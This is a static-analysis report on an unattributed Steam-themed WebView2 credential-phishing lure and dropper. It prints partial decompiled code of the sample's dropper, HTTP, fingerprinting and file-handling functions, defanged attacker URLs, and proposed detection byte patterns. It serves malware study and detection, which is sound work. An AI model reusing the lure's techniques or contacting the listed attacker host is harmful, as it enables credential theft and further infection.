Static analysis · PE32+ · 2026-10-28

Unattributed stealer

MaliciousRole: dropperCapability: stealerFamily: not attributed

This is a 1 MB x64 PE (mingw-linked, no version info, timestamp 2026-09-22) that acts as a WebView2-based credential-phishing lure and dropper. It carries a 164 KB embedded PE in RCDATA resource 300 and drops it to disk at startup. The application creates a frameless browser-control window styled as a login page, bridges JavaScript and native code through a JSON IPC protocol (B10, E19, E20), and collects a system fingerprint using obfuscated XOR/shift arithmetic over PID, tick count and locale (B6, E7). An HTTP client built on WinInet sends requests to two the original file URLs (I1, I2) with 15/30 s timeouts (B3, E3, E4, E14). The lure gives its operator stolen credentials and a machine fingerprint; the dropped PE's purpose is not recovered (U1).

File

PE32+ · 1.0 MB

nothing unpacked from it

Behaviours

10 reachable from the entry point

Code reached

28%

692 of 2508 functions from the entry

Network

2 indicators

Decoded strings

1 notable

Detection features

build scope

Open questions

reads the analysis attempted and stopped

sha256 f27af032b01fc6982ff936086eaeeaa6a517a9b3fad74939ee4e50729c9e3b2c

Read the full technical report → Every behaviour and indicator in detail, with the evidence, decoded strings, code and call graph.

How it runs

The behaviours as a flow, from the entry point: the checks that can end the run, then what it collects, then what it sends and what follows. Boxes follow the order of the analyst's account; a dashed box is code whose path from the entry is not proven. Static analysis: not an observed run.

Throughout: drops embedded PE from resource (B1).

What it does in the full report →

The PE entry (E17) calls a CRT startup that enforces single-instance execution through a LOCK cmpxchg on a global; a second copy spins on Sleep(1000) until the first exits (B8, E9). WinMain (E1) reads its own module path, builds a drop path and writes the RCDATA 300 payload to disk (B1, E2), then loads the WebView2 runtime and creates a centered, DPI-scaled window with DWM extended frame and dark background 0x1f1b1bff (B2, E5). A 1500 ms timer navigates the WebView2 control to a URL (I1) referenced by the setup function at 0x1400056b0.

A JSON IPC protocol bridges WebView2 and native code: a builder at 0x140002900 constructs responses and a parser at 0x1400075c0 dispatches commands (B10, E19, E20). Through this channel the lure page requests file reads (B9, E15), file writes (B9, E16) and URL launches (B5, E6). The UI thread handler (B4, E8) dispatches these in response to JSON messages from the WebView2 frontend.

The HTTP client at 0x140004000 parses URLs with InternetCrackUrlW, opens connections with InternetConnectW, and reads responses with InternetReadFile (B3, E3, E4, E14). Two the original file URLs were recovered (I1, I2); 9 of 11 other URL candidates and all 5 registry-path candidates reside in the embedded PE at file offsets 0xd70c0-0xff420, belonging to unpacked file 1 not the original file (E21, U2, U6). The system fingerprint function at 0x1400094c0 computes a value from PID, tick count and locale through XOR constants 0xfd6c0c64, 0x9c0fc46e, 0x2f77d26c and a shift loop (B6, E7), producing a host identifier sent alongside requests.

What was not recovered: the embedded PE payload's behaviour (U1), the targets of 12 FLOSS decoded strings not mapped to functions (U5), the WebView2 lure content served at runtime (U3), the credential capture mechanism handled by WebView2 JavaScript (U4), the full data set exfiltrated over HTTP (U2), and the purpose of 5 embedded-PE registry paths (U6).

Behaviour	From the entry	ATT&CK	Evidence
drops embedded PE from resource	reachable	T1027.009	E1 E2
creates WebView2 browser control for lure UI	reachable	T1204.001	E1 E5
HTTP networking via WinInet	reachable	T1071.001	E3 E4 E14
creates child process	reachable	T1106	E8
opens URLs via ShellExecute	reachable	T1204.001	E6
collects system fingerprint	reachable	T1082	E7
timer-delayed window reveal	reachable		E11 E12
single-instance execution lock	reachable		E9
reads and writes files by path parameter	reachable	T1005	E15 E16
JSON-based IPC between WebView2 and native code	reachable	T1559	E19 E20

How much of the code was read functions →

The call graph has 2508 internal functions. Three roots (entry plus 2 TLS callbacks) reach 330 natively; a dispatch-reach pass resolved 270 of 1358 computed call sites, adding 362 functions (692 total). 76 unresolved computed call sites remain in reached code (U7); 1816 functions are unreached.

What it talks to and touches in the full report →

Network values are defanged (hxxp, [.]); restore them before use. A dead drop sits on a public service: match the full URL, never block the domain. Host artefacts are files, paths and registry keys the sample targets or creates.

Kind	Type	Role	Value	Evidence
network	url		hxxps://8909451279[.]f1shh[.]at/clie	E14
network	url		hxxps://8909451279[.]f1shh[.]at/client	E14

Notable strings all 31 decoded strings →

Picked from the decoded strings by simple pattern rules. They show what the code refers to, not what it was seen doing.

URL or domain	`hxxps://8909451279[.]f1shh[.]at/client`

Verdict and detection opportunities all anchor details →

Malicious: a WebView2-based credential-phishing lure that drops an embedded PE at startup, collects a system fingerprint and communicates over HTTP. No family attributed; the cluster label pe/unk.steamlure-28f2b618 agrees with the observed lure behaviour but no family-specific markers were recovered (E13).

Strongest anchors: A1 (entry stub, 30 bytes at file offset 0x400, E17) is a realtime candidate because its rel32 operand varies per binary, making the sequence build-specific; present in 8/8 cluster members. A2 (RCDATA resource 300 containing an embedded PE, E2) is realtime-viable and stable across the cluster. A3 (WinInet HTTP request function with InternetCrackUrl/HttpOpenRequest/HttpSendRequest/InternetReadFile call sequence, E3) is a batch anchor. A4 (system fingerprint function with XOR constants 0xfd6c0c64/0x9c0fc46e/0x2f77d26c, E7) is realtime-viable and distinctive.

Features a rule could match on, as proposed by the analysis. None is a rule until CORD Detection has measured it against clean software.

ID	What to match	Scope	Scan type	How stable	Possible false matches
A1	entry stub 30-byte sequence at file offset 0x400, including the E8 rel32 call to the main function	build	realtime	structural_constant; entry stub bytes are compiler-generated and stable across builds with the same toolchain and entry layout	other mingw x64 executables with the same CRT entry stub; low given the rel32 operand varies per binary
A2	RCDATA resource 300 containing embedded PE (164704 bytes)	build	realtime	behavioural_template; resource ID and type are build constants; the embedded PE content varies per campaign but the container structure is stable	any PE with RCDATA ID 300; narrow with PE header checks on the resource content
A3	WinInet HTTP request function at 0x140004000 with InternetCrackUrl+HttpOpenRequest+HttpSendRequest+InternetReadFile call sequence	build	batch	behavioural_template; the specific API call sequence and function layout are tied to the build; the function is a custom HTTP client, not a library wrapper	other WinInet-based HTTP clients with the same API sequence; moderate
A4	system fingerprint function at 0x1400094c0 with obfuscated XOR/shift computation over PID, tick count and locale	build	realtime	behavioural_template; the XOR constants (0xfd6c0c64, 0x9c0fc46e, 0x2f77d26c) and shift loop are build-specific and unlikely in goodware	none expected; the constant combination is distinctive

Open questions in the full report →

Q2
Why it stopped: payload_not_in_file
Q3
Why it stopped: The original file has only 2 URLs; remaining URL-to-function mapping deferred to unpacked file 1 analysis
Q2
Why it stopped: lure content fetched at runtime or in dropped PE, not in the original file
Q2
Why it stopped: credential capture handled by WebView2 JavaScript sending postMessage to native code; the native handlers (file_reader, file_writer, url_launcher) execute commands but extraction logic is in the lure page served to WebView2
Q2
Why it stopped: decoded strings not mapped to callers due to masked output
Q3
Why it stopped: registry candidates are unpacked file 1 (embedded PE) data, not the original file strings; deferred to unpacked file 1 analysis
Q5
Why it stopped: 76 unresolved computed call sites in reached code; no state/index tables found

Full technical report

CORD Research report r20261028-1

stealer dropper

sha256f27af032b01fc6982ff936086eaeeaa6a517a9b3fad74939ee4e50729c9e3b2c

not blind model claude-opus-4-6 · medium input 22.3M output ~127k time 115 min 27 s schema cord-research.report/1.5.0 source report.json

Originalstealer dropper0.85

Summary

Behaviour

Reach

Verdict and anchors

10behaviours 2IOCs 4anchors 7unknowns 19functions decompiled 22evidence items

Terms used in this report

Original file, unpacked file: The original file is the sample as collected. An unpacked file is one the analysis extracted or decoded from it, numbered in order (in report.json: L0, L1, L2…).
Reachable from the entry point: The static call graph shows a path from where the program starts to this code. It does not mean the code was seen running.
Code present, path not proven: The code is in the file, but the analysis could not prove a route to it, usually because of indirect calls or jump tables.
B, E, A, U, D numbers: Behaviours, evidence items, detection anchors, open questions (unknowns) and derived files (such as decoded strings). Every claim cites the evidence items it rests on.
API hashing: Looking up Windows functions at run time by a hash of their name, so the names never appear in the file.
MBA: Mixed boolean-arithmetic: computing a simple constant through a tangle of AND, OR, XOR and arithmetic.
ATT&CK, MBC: Public catalogues of attacker techniques (MITRE ATT&CK) and malware behaviours (MBC).
IOC: Indicator of compromise: a value, such as a domain or file name, that shows up on an infected host or network.

Behaviours at a glance

Sample and layers

gated nosnapshot taken at 2026-10-01 20:38:11.542859+00

id	size	verdict	sha256	format
Original	1052672		f27af032…9c9e3b2c	PE32+
L0 · verdict classification malicious role dropper capability stealer family — confidence 0.85 evidence E1, E2, E3, E5, E7, E13

Verdict

What the analysis concludes the sample is, how confident it is, and the evidence that conclusion rests on.

Original

stealer dropper

confidence 0.85

classification: malicious
role: dropper
capability: stealer
evidence: E1, E2, E3, E5, E7, E13
why: WebView2-based lure application that drops an embedded PE from resources, creates a browser-control window for credential phishing, includes HTTP networking and system fingerprinting; cluster label pe/unk.steamlure-28f2b618 agrees with observed Steam-themed lure behavior but no family-specific markers recovered

What it does 10

Each behaviour the analysis found, with the techniques it maps to and whether the code is reachable from where the program starts. Open "Show the evidence" to see what each claim rests on, with code previews; full functions are under Code.

drops embedded PE from resource

T1027.009file Originalreachability reachable from the entry point

MBC: none
functions: 0x140001400

Show the evidence · 2 items: E1, E2

read from the file·function

0x140001400

WinMain: extracts RCDATA 300, drops embedded PE to disk, creates WebView2 window, enters message loop

WinMain · decompiled C, first 30 lines

/* WARNING: Type propagation algorithm not settling */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 WinMain(HINSTANCE param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  ulonglong uVar1;
  UINT UVar2;
  undefined4 uVar3;
  undefined1 _Src [8];
  code cVar4;
  undefined1 uVar5;
  undefined2 uVar6;
  WPARAM WVar7;
  int iVar8;
  DWORD nNumberOfBytesToWrite;
  DWORD DVar9;
  int iVar10;
  BOOL BVar11;
  HDC hdc;
  size_t sVar12;
  HRSRC hResInfo;
  HGLOBAL hResData;
  longlong lVar13;
  tagMSG *ptVar14;
  undefined **ppuVar15;
  HANDLE hFile;
  HMODULE pHVar16;
  FARPROC pFVar17;
/* … 545 more lines */

Full function, callers and assembly →

read from the file·resource

RCDATA/300/1033

embedded PE resource, 164704 bytes, entropy 6.2, dropped to disk by WinMain

creates WebView2 browser control for lure UI

T1204.001file Originalreachability reachable from the entry point

MBC: none
functions: 0x1400014000x1400056b0

Show the evidence · 2 items: E1, E5

read from the file·function

0x140001400

WinMain: extracts RCDATA 300, drops embedded PE to disk, creates WebView2 window, enters message loop

WinMain · decompiled C, first 30 lines

/* WARNING: Type propagation algorithm not settling */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 WinMain(HINSTANCE param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  ulonglong uVar1;
  UINT UVar2;
  undefined4 uVar3;
  undefined1 _Src [8];
  code cVar4;
  undefined1 uVar5;
  undefined2 uVar6;
  WPARAM WVar7;
  int iVar8;
  DWORD nNumberOfBytesToWrite;
  DWORD DVar9;
  int iVar10;
  BOOL BVar11;
  HDC hdc;
  size_t sVar12;
  HRSRC hResInfo;
  HGLOBAL hResData;
  longlong lVar13;
  tagMSG *ptVar14;
  undefined **ppuVar15;
  HANDLE hFile;
  HMODULE pHVar16;
  FARPROC pFVar17;
/* … 545 more lines */

Full function, callers and assembly →

read from the file·function

0x1400056b0

WebView2 COM initialization: sets background color, configures navigation and docking via COM vtable calls

webview2_setup · decompiled C, first 30 lines

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 webview2_setup(undefined8 param_1,int param_2,longlong *param_3,undefined8 param_4)

{
  longlong *plVar1;
  int iVar2;
  BOOL BVar3;
  undefined8 *puVar4;
  void *_Dst;
  LONG *pLVar5;
  longlong **pplVar6;
  ulonglong _Size;
  wchar_t *_Src;
  undefined8 uVar7;
  longlong lVar8;
  longlong *local_a8;
  longlong *local_a0;
  longlong *local_98;
  undefined8 uStack_90;
  undefined8 local_88;
  undefined8 uStack_80;
  undefined8 local_78;
  undefined8 uStack_70;
  undefined4 local_68;
  undefined4 uStack_64;
  undefined4 uStack_60;
  undefined4 uStack_5c;
  undefined4 local_58;
/* … 105 more lines */

Full function, callers and assembly →

HTTP networking via WinInet

T1071.001file Originalreachability reachable from the entry point

MBC: C0002.003
functions: 0x1400040000x140004580

Show the evidence · 3 items: E3, E4, E14

read from the file·function

0x140004000

HTTP request function: InternetCrackUrl, InternetConnect, HttpOpenRequest, HttpAddRequestHeaders, HttpSendRequest, HttpQueryInfo, InternetReadFile

http_request · decompiled C, first 30 lines

undefined8
http_request(undefined8 *param_1,undefined8 param_2,ulonglong param_3,undefined *param_4)

{
  byte bVar1;
  undefined1 uVar2;
  undefined1 uVar3;
  void *pvVar4;
  undefined8 uVar5;
  longlong lVar6;
  byte bVar7;
  bool bVar8;
  int iVar9;
  uint uVar10;
  DWORD DVar11;
  ulonglong uVar12;
  undefined8 *lParam;
  longlong lVar13;
  longlong lVar14;
  undefined8 *puVar15;
  undefined7 extraout_var;
  undefined *puVar16;
  longlong lVar17;
  undefined1 *puVar18;
  undefined8 uVar19;
  char *pcVar20;
  undefined4 unaff_XMM6_Da;
  undefined4 unaff_XMM6_Db;
  undefined4 unaff_XMM6_Dc;
/* … 273 more lines */

Full function, callers and assembly →

read from the file·function

0x140004580

InternetOpenW with 15s/30s timeouts for network initialization

internet_init · decompiled C, first 30 lines

longlong internet_init(void)

{
  longlong lVar1;
  undefined4 local_1c;
  undefined4 local_18;
  undefined4 local_14;
  
  lVar1 = InternetOpenW(L"Steam/1.0",0,0,0,0);
  if (lVar1 != 0) {
    local_14 = 15000;
    local_18 = 15000;
    local_1c = 30000;
    InternetSetOptionW(lVar1,2,&local_14,4);
    InternetSetOptionW(lVar1,5,&local_18,4);
    InternetSetOptionW(lVar1,6,&local_1c,4);
  }
  return lVar1;
}

Full function, callers and assembly →

E14

read from the file·import table

wininet.dll

10 WinInet imports for HTTP networking

creates child process

T1106file Originalreachability reachable from the entry point

MBC: none
functions: 0x140005a90

Show the evidence · 1 item: E8

read from the file·function

0x140005a90

CreateThread, ShowWindow, PostMessage, cursor management - UI and threading handler

ui_thread_handler · decompiled C, first 30 lines

/* WARNING: Type propagation algorithm not settling */

undefined8
ui_thread_handler(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  byte bVar1;
  byte *pbVar2;
  ulonglong uVar3;
  LONG LVar4;
  undefined1 *puVar5;
  void *pvVar6;
  wchar_t *_Src;
  int iVar7;
  size_t sVar8;
  short *psVar9;
  ulonglong uVar10;
  LONG *pLVar11;
  longlong *plVar12;
  ulonglong uVar13;
  tagPOINT *ptVar14;
  void *pvVar15;
  undefined8 uVar16;
  ulonglong *puVar17;
  tagPOINT *ptVar18;
  ulonglong *puVar19;
  HANDLE hObject;
  wchar_t *pwVar20;
  tagPOINT *ptVar21;
/* … 1075 more lines */

Full function, callers and assembly →

opens URLs via ShellExecute

T1204.001file Originalreachability reachable from the entry point

MBC: none
functions: 0x140003c10

Show the evidence · 1 item: E6

read from the file·function

0x140003c10

ShellExecuteW handler: opens URLs from WebView2 navigation events

url_launcher · decompiled C, first 30 lines

void url_launcher(ulonglong param_1,int *param_2,undefined8 param_3,undefined8 param_4)

{
  LPCWSTR pWVar1;
  byte bVar2;
  LPCWSTR lpFile;
  ulonglong uVar3;
  LPCWSTR pWVar4;
  short *psVar5;
  int *piVar6;
  ulonglong uVar7;
  int *piVar8;
  LPCWSTR pWVar9;
  LPCWSTR pWVar10;
  byte local_50;
  uint uStack_4f;
  uint uStack_4b;
  undefined4 local_47;
  undefined1 local_43;
  void *local_40;
  undefined4 local_38;
  ulonglong local_30;
  LPCWSTR local_28;
  byte local_20;
  char cStack_1f;
  undefined7 uStack_1e;
  undefined7 uStack_17;
  char cStack_10;
  undefined4 uStack_f;
/* … 165 more lines */

Full function, callers and assembly →

collects system fingerprint

T1082file Originalreachability reachable from the entry point

MBC: E1082
functions: 0x1400094c0

Show the evidence · 1 item: E7

read from the file·function

0x1400094c0

system fingerprinting: GetLocalTime, GetLocaleInfoA, GetSystemInfo, GetCurrentProcessId, GetTickCount, then obfuscated XOR/shift computation

system_fingerprint · decompiled C, first 30 lines

uint system_fingerprint(void)

{
  uint uVar1;
  uint uVar2;
  uint uVar3;
  DWORD DVar4;
  DWORD DVar5;
  uint uVar6;
  uint uVar7;
  uint uVar8;
  uint uVar9;
  uint uVar10;
  uint uVar11;
  uint uVar12;
  size_t sVar13;
  uint local_98;
  int local_94;
  _SYSTEMTIME local_8c;
  int local_7c;
  _union_552 local_78;
  int local_74;
  char local_48 [64];
  
  GetLocalTime(&local_8c);
  GetLocaleInfoA(0x400,0x59,local_48,0x40);
  sVar13 = strlen(local_48);
  GetSystemInfo((LPSYSTEM_INFO)&local_78.s);
  DVar4 = GetCurrentProcessId();
/* … 124 more lines */

Full function, callers and assembly →

timer-delayed window reveal

file Originalreachability reachable from the entry point

MBC: none
functions: 0x1400094800x140004960

Show the evidence · 2 items: E11, E12

E11

read from the file·function

0x140009480

SetTimer(9999, 1500ms) callback setup for delayed window reveal

timer_setup · decompiled C, first 30 lines

undefined8 timer_setup(void)

{
  if (DAT_1400c9478 == '\0') {
    DAT_1400c9478 = '\x01';
    SetTimer(DAT_1400c9450,9999,0x5dc,timer_reveal);
  }
  return 0;
}

Full function, callers and assembly →

E12

read from the file·function

0x140004960

timer callback: KillTimer, ShowWindow, SetForegroundWindow - reveals the lure after delay

timer_reveal · decompiled C, first 30 lines

void timer_reveal(undefined8 param_1,undefined8 param_2,UINT_PTR param_3)

{
  KillTimer(DAT_1400c9450,param_3);
  if (DAT_1400c9458 != (longlong *)0x0) {
    (**(code **)(*DAT_1400c9458 + 0x20))(DAT_1400c9458,1);
  }
  ShowWindow(DAT_1400c9450,5);
                    /* WARNING: Could not recover jumptable at 0x0001400049a8. Too many branches */
                    /* WARNING: Treating indirect jump as call */
  SetForegroundWindow(DAT_1400c9450);
  return;
}

Full function, callers and assembly →

single-instance execution lock

file Originalreachability reachable from the entry point

MBC: none
functions: 0x140001020

Show the evidence · 1 item: E9

read from the file·function

0x140001020

CRT startup with LOCK-based single-instance mutex, spins on Sleep(1000) if another instance holds the lock

crt_startup · decompiled C, first 30 lines

ulonglong crt_startup(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  ushort uVar1;
  uint uVar2;
  undefined4 uVar3;
  undefined *puVar4;
  undefined *puVar5;
  void *pvVar6;
  int iVar7;
  undefined8 *puVar8;
  ulonglong uVar9;
  LPTOP_LEVEL_EXCEPTION_FILTER pPVar10;
  undefined4 *puVar11;
  undefined8 uVar12;
  void *pvVar13;
  size_t sVar14;
  void *_Dst;
  undefined *puVar15;
  undefined8 *in_RDX;
  undefined8 *in_R8;
  ulonglong in_R9;
  longlong lVar16;
  longlong lVar17;
  bool bVar18;
  undefined8 extraout_XMM0_Qa;
  undefined4 local_44;
  
  puVar4 = PTR_DAT_14009b048;
/* … 145 more lines */

Full function, callers and assembly →

reads and writes files by path parameter

T1005file Originalreachability reachable from the entry point

MBC: none
functions: 0x1400033d00x1400038b0

Show the evidence · 2 items: E15, E16

E15

read from the file·function

0x1400033d0

file reader: extracts path parameter, opens with CreateFileW, reads with ReadFile

file_reader · decompiled C, first 30 lines

void file_reader(ulonglong param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  byte bVar1;
  longlong lVar2;
  undefined8 uVar3;
  BOOL BVar4;
  ulonglong uVar5;
  HANDLE hFile;
  undefined8 *puVar6;
  int *piVar7;
  void *pvVar8;
  LPCWSTR lpFileName;
  int *in_RDX;
  int *piVar9;
  char *pcVar10;
  undefined8 in_R9;
  LPDWORD pDVar11;
  undefined4 unaff_XMM6_Da;
  undefined4 unaff_XMM6_Db;
  undefined4 unaff_XMM6_Dc;
  undefined4 unaff_XMM6_Dd;
  undefined1 auStackX_10 [8];
  undefined8 uStackX_18;
  undefined8 uStackX_20;
  undefined8 uStack_38;
  
  uStack_38 = 0x1400033e3;
  uVar5 = FUN_140021ad4();
/* … 171 more lines */

Full function, callers and assembly →

E16

read from the file·function

0x1400038b0

file writer: extracts path parameter, creates with CreateFileW, writes with WriteFile

file_writer · decompiled C, first 30 lines

void file_writer(ulonglong param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  byte bVar1;
  ulonglong uVar2;
  HANDLE hFile;
  int *piVar3;
  longlong lVar4;
  LPCWSTR lpFileName;
  int *in_RDX;
  int *piVar5;
  LPCVOID lpBuffer;
  DWORD nNumberOfBytesToWrite;
  ulonglong in_R9;
  byte local_68;
  uint uStack_67;
  undefined1 local_63;
  void *local_58;
  byte local_50;
  undefined1 uStack_4f;
  undefined7 uStack_4e;
  uint local_47;
  undefined1 local_43;
  void *local_40;
  undefined8 local_38;
  undefined8 uStack_30;
  LPCWSTR local_28;
  DWORD local_1c;
  
/* … 120 more lines */

Full function, callers and assembly →

B10

JSON-based IPC between WebView2 and native code

T1559file Originalreachability reachable from the entry point

MBC: none
functions: 0x1400029000x1400075c00x140005a90

Show the evidence · 2 items: E19, E20

E19

read from the file·function

0x140002900

JSON response builder with id/ok/result fields for WebView2-native IPC

json_response_builder · decompiled C, first 30 lines

void json_response_builder(ulonglong param_1,char param_2,byte *param_3,byte *param_4)

{
  longlong *plVar1;
  ulonglong *puVar2;
  char *pcVar3;
  void *pvVar4;
  char *pcVar5;
  ulonglong uVar6;
  byte *pbVar7;
  undefined8 local_a8;
  ulonglong uStack_a0;
  void *local_98;
  ulonglong local_88;
  ulonglong uStack_80;
  void *local_78;
  byte local_70 [16];
  void *local_60;
  ulonglong local_58;
  ulonglong uStack_50;
  void *local_48;
  
  if (DAT_1400c9460 == (longlong *)0x0) {
    return;
  }
  pbVar7 = param_4;
  FUN_140013d60((longlong *)local_70,param_1,(char *)param_3,param_4);
  pcVar5 = "{\"id\":";
  puVar2 = (ulonglong *)FUN_14000eec0((ulonglong *)local_70,0,(byte *)"{\"id\":");
/* … 102 more lines */

Full function, callers and assembly →

E20

read from the file·function

0x1400075c0

JSON parser for incoming WebView2 messages, recursive descent

json_parser · decompiled C, first 30 lines

ulonglong json_parser(longlong *param_1,undefined4 *param_2,char **param_3,ulonglong param_4)

{
  byte bVar1;
  double dVar2;
  bool bVar3;
  void *pvVar4;
  int iVar5;
  undefined8 uVar6;
  byte *pbVar7;
  byte *pbVar8;
  ulonglong uVar9;
  ulonglong *puVar10;
  undefined7 uVar13;
  byte *pbVar11;
  byte *pbVar12;
  void *pvVar14;
  char *local_d0;
  ulonglong uStack_c8;
  ulonglong uStack_c0;
  ulonglong uStack_b8;
  void *pvStack_b0;
  void *local_a8;
  ulonglong uStack_a0;
  ulonglong local_98;
  void *pvStack_90;
  void *local_88;
  ulonglong uStack_80;
  ulonglong local_78;
/* … 338 more lines */

Full function, callers and assembly →

Indicators (IOCs) 2

Values that would show up on an infected host or in network traffic, such as domains, URLs and file names, with where each was found.

2 of 2 IOC value(s) resolved from the report and the files the analysis wrote. Network values are defanged (hxxp, [.]); restore them before use.

ID	Type	Role	Value	Port	Layer	Method	Evidence	Note
I1	url		`hxxps://8909451279[.]f1shh[.]at/clie`		L0	plaintext	E14	L0 URL in .rdata at file offset 0x9a3c0; referenced by webview2_setup 0x1400056b0
I2	url		`hxxps://8909451279[.]f1shh[.]at/client`		L0	plaintext	E14	L0 URL referenced by webview2_setup 0x1400056b0 via fn_profile

IOC list · 2 value(s), defanged, one per line

hxxps://8909451279[.]f1shh[.]at/clie
hxxps://8909451279[.]f1shh[.]at/client

Decoded strings 31

Strings and config fields the analysis decoded, read from the files its decode steps wrote (derived artifacts), then the decoded, stack and tight strings FLOSS found in the prepass. At most 300 per layer are shown; long strings are cut at 300 characters with their length; control characters are escaped and URL schemes defanged.

L0 · 31 string(s)

out/L0/floss.json · FLOSS decoded strings · 8 entries, from FLOSS decoded strings (prepass) · found automatically by FLOSS in the prepass, not checked by the analysis

8 shown

#	Value	Encoding	Function	Method
1	++CGNLC`	ASCII	0x140066fe0	floss decoded
2	`1096175631`	ASCII	0x140015850	floss decoded
3	`1844674407`	ASCII	0x140015850	floss decoded
4	`4294967042`	ASCII	0x140015850	floss decoded
5	`3216243813`	ASCII	0x140015850	floss decoded
6	`3216243517`	ASCII	0x140015850	floss decoded
7	`1078723779`	ASCII	0x140015850	floss decoded
8	`4294967292`	ASCII	0x140015850	floss decoded

out/L0/floss.json · FLOSS stack strings · 22 entries, from FLOSS stack strings (prepass) · found automatically by FLOSS in the prepass, not checked by the analysis

22 shown

#	Value	Encoding	Function	Method
1	`edge`	ASCII	0x1400030e0	floss stack
2	`bad path`	ASCII	0x1400038b0	floss stack
3	`text`	ASCII	0x1400038b0	floss stack
4	`cannot write`	ASCII	0x1400038b0	floss stack
5	`true`	ASCII	0x1400038b0	floss stack
6	`url required`	ASCII	0x140003c10	floss stack
7	`(only http(s) allowed`	ASCII	0x140003c10	floss stack
8	`hxxps://8909451279[.]f1shh[.]at/client`	UTF-16LE	0x1400056b0	floss stack
9	`method`	ASCII	0x140005a90	floss stack
10	`params`	ASCII	0x140005a90	floss stack
11	`stoi`	ASCII	0x140013020	floss stack
12	`stol`	ASCII	0x1400130d0	floss stack
13	`stoul`	ASCII	0x140013180	floss stack
14	`stoll`	ASCII	0x140013230	floss stack
15	`stoull`	ASCII	0x1400132e0	floss stack
16	`stof`	ASCII	0x140013390	floss stack
17	`stod`	ASCII	0x140013440	floss stack
18	`stold`	ASCII	0x1400134f0	floss stack
19	`1096175631`	ASCII	0x1400140b0	floss stack
20	`++CGNLC`	ASCII	0x140020460	floss stack
21	`%H:%M:%S`	ASCII	0x140044c80	floss stack
22	`0123456789`	ASCII	0x140049760	floss stack

out/L0/floss.json · FLOSS tight strings · 1 entries, from FLOSS tight strings (prepass) · found automatically by FLOSS in the prepass, not checked by the analysis

1 shown

#	Value	Encoding	Function	Method
1	`4278124285`	ASCII	0x14008d5c0	floss tight

Process map (static) 2

Where the code can create, replace, detach or signal processes, read from the call graph without running the sample: each site with the call path from the entry point. Branch conditions are not evaluated, so this is what the code can start, not what one run did; sites the graph does not reach from the entry are listed, never hidden.

L0

PORTABLE EXECUTABLE (PE) x64: 2 sites (2 spawns a process), 1 reached from the entry.

0x140001000 (PE entry point, calls crt_startup)
  └ 0x140001020 (CRT startup, creates mutex for single-instance lock, calls WinMain)
    └ 0x140021a30
      └ 0x140001400 (Drops embedded PE from RCDATA 300, registers window class, creates WebView2 environment)
        └ 0x1400055d0
          └ 0x1400056b0 (Creates WebView2 controller and configures COM environment, references L0 URLs)
            └ 0x140005a90 (Handles WebView2 postMessage events: parses incoming JSON, dispatches to native handlers, creates child processes)
              └ 0x140003c10 (Opens URLs via ShellExecuteW, builds JSON response with result)   [ShellExecuteW]

Call	What it does	In function	Site	Path from the entry	Daemon shape
ShellExecuteW	spawns a process	0x140003c10 (Opens URLs via ShellExecuteW, builds JSON response with result)	140003f18	0x140001000 → 0x140001020 → 0x140021a30 → 0x140001400 → 0x1400055d0 → 0x1400056b0 → 0x140005a90 → 0x140003c10
ShellExecuteW	spawns a process	0x14009a160	14009a160	not reached from the entry

Detection anchors 4

Features a detection rule could match on: what to match, where it sits in the file, how stable it is across builds, and what else might match it. They are proposals; CORD Detection measures them against clean software before any becomes a rule.

id	status	feature	scan type	scope	file	evidence	on disk	possible false matches	single sample only
A1	nominated	entry stub 30-byte sequence at file offset 0x400, including the E8 rel32 call to the main function	realtime	build	Original	E17	yes	other mingw x64 executables with the same CRT entry stub; low given the rel32 operand varies per binary	yes
A1 · where base entrypoint delta 0 window 30
A1 · pattern kind bytes norm RAW value ref E17
A1 · how stable tier structural_constant why entry stub bytes are compiler-generated and stable across builds with the same toolchain and entry layout
A2	nominated	RCDATA resource 300 containing embedded PE (164704 bytes)	realtime	build	Original	E2	yes	any PE with RCDATA ID 300; narrow with PE header checks on the resource content	yes
A2 · where base resource delta 0 window 64
A2 · pattern kind structure norm RAW value ref E2
A2 · how stable tier behavioural_template why resource ID and type are build constants; the embedded PE content varies per campaign but the container structure is stable
A3	nominated	WinInet HTTP request function at 0x140004000 with InternetCrackUrl+HttpOpenRequest+HttpSendRequest+InternetReadFile call sequence	batch	build	Original	E3	yes	other WinInet-based HTTP clients with the same API sequence; moderate	yes
A3 · where base function delta 0 window 1315
A3 · pattern kind api_set norm RAW value ref E3
A3 · how stable tier behavioural_template why the specific API call sequence and function layout are tied to the build; the function is a custom HTTP client, not a library wrapper
A4	nominated	system fingerprint function at 0x1400094c0 with obfuscated XOR/shift computation over PID, tick count and locale	realtime	build	Original	E7	yes	none expected; the constant combination is distinctive	yes
A4 · where base function delta 0 window 256
A4 · pattern kind bytes norm RAW value ref E7
A4 · how stable tier behavioural_template why the XOR constants (0xfd6c0c64, 0x9c0fc46e, 0x2f77d26c) and shift loop are build-specific and unlikely in goodware

Open questions 7

Questions the analysis could not answer, what was tried, and why it stopped. Some may have been answered by a later step; check Decoded strings.

Q2

what was tried: identified RCDATA 300 as PE, confirmed extraction in WinMain decompilation
why it stopped: payload_not_in_file
stop: payload_not_in_file

Q3

what was tried: decompiled HTTP function 0x140004000, confirmed API sequence; identified 11 URL IOC candidates from static strings, deepen: verified 9 of 11 URLs are in embedded PE at file offsets 0xd70c0-0xff420, not the original file; only c0009 and c0010 are the original file URLs; c0009 referenced by webview2_setup 0x1400056b0
why it stopped: The original file has only 2 URLs; remaining URL-to-function mapping deferred to unpacked file 1 analysis

Q2

what was tried: confirmed WebView2 initialization and COM setup at 0x1400056b0; no static HTML found in the original file resources besides the embedded PE
why it stopped: lure content fetched at runtime or in dropped PE, not in the original file

Q2

what was tried: read navigation event handler 0x140008f60 and URL handler 0x140003c10; neither shows explicit credential extraction in the original file, deepen: identified JSON IPC protocol (0x140002900 builder, 0x1400075c0 parser); ui_thread_handler 0x140005a90 dispatches to file_reader/file_writer/url_launcher/WndProc via JSON messages from WebView2 frontend
why it stopped: credential capture handled by WebView2 JavaScript sending postMessage to native code; the native handlers (file_reader, file_writer, url_launcher) execute commands but extraction logic is in the lure page served to WebView2

